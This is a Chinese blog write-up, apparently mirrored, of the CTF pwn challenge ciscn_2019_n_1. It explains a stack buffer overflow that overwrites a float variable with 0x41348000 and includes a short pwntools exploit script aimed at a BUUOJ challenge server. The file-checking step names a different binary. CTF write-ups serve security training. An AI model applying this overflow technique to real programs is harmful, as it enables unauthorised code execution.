当前位置:网站首页>ciscn_2019_n_1
ciscn_2019_n_1
2022-07-23 23:28:00 【长街395】
一、查看文件
先file ./warmup_csaw_2016查看文件类型再checksec --file=warmup_csaw_2016检查一下文件保护情况。


二、IDA反编译
反编译后觉得好像和前几道题不太一样了
看来看去有个函数比较可疑:
双击func()函数查看源码可以看到当v2 = 11.28125时会有一个系统调用。
查看汇编代码双击cs:dword_4007F4可以看到11.28125在内存中的16进制表示为0x41348000。
查看栈结构,此处var_30是v1,而var_4是v2,需要(0x30-0x04)=44个字节就能让栈溢出,最后再填入11.28125对应的十六进制数0x41348000。
三、代码
from pwn import *
# remote()建立远程连接,指明ip和port
io = remote('node4.buuoj.cn', 26965)
payload = b'a'*(0x30 - 0x4) + p64(0x41348000)
io.sendline(payload) #发送数据
io.interactive() #与shell进行交互

总结
还是一道栈溢出的题,我们在那个可疑的函数里发现有两个变量,v1,v2,其中只有v1
可以通过gets()函数输入,但我们的判断的条件是v2=??一个数,我们如和更改v2
值呢,答案是通过v1的溢出来改变v2里的值。
边栏推荐
- 史上最全的2022年版Android面试题
- EasyNVR平台如何关闭匿名登录?
- Three network modes of VMware virtual machine
- 浅析基于NVR技术的视频能力与未来发展趋势
- 归并排序思想应用
- STM32F4查看系统各部分频率
- Software architecture
- Build your own target detection environment, model configuration, data configuration mmdetection
- A great open source micro community light forum source code
- Stm32f4 check the frequency of each part of the system
猜你喜欢

Intel英特尔RealSense实感深度摄像头 自校准(Self-Calibration)操作步骤讲解 D400系列适用

Getting started database days2

The most complete 2022 Android interview questions in history

A great open source micro community light forum source code
![[leetcode ladder] linked list · 203 remove linked list elements](/img/72/d3e46a820796a48b458cd2d0a18f8f.png)
[leetcode ladder] linked list · 203 remove linked list elements

BGP routing, MPLS

Tap series article 4 | backstage based tap developer portal

USB转CAN设备在核酸提取仪 高性能USB接口CAN卡

C # introductory series (XXVIII) -- query syntax of LINQ

EasyNVR平台如何关闭匿名登录?
随机推荐
About: enable delivery optimization in enterprise LAN
How to migrate databases in the flask framework
Strncat () strncmp ()
Can Intel NUC replace the host_ It's finally perfect! The latest Intel NUC Mini host comes online
None和nan、NaN、NAN
Build your own target detection environment, model configuration, data configuration mmdetection
1000个Okaleido Tiger首发上线Binance NFT,引发抢购热潮
Mongodb database + graphical tools download, installation and use
1000 okaleido tiger launched binance NFT, triggering a rush to buy
Wechat applet implements a global event bus by itself
Classification model - logistic regression, Fisher linear discriminant (SPSS)
Learning MySQL is enough
solo 文章正文含有 <> 标签会影响到页面样式
USB Foundation
[redis] redis installation and client redis cli use (batch operation)
USB to can device in nucleic acid extractor high performance USB interface can card
strncat() strncmp()
砺夏行动|源启数字化:既有模式,还是开源创新?
Quickly learn to use file permissions
SOLIDWORK learning notes: Sketch geometric relationships and editing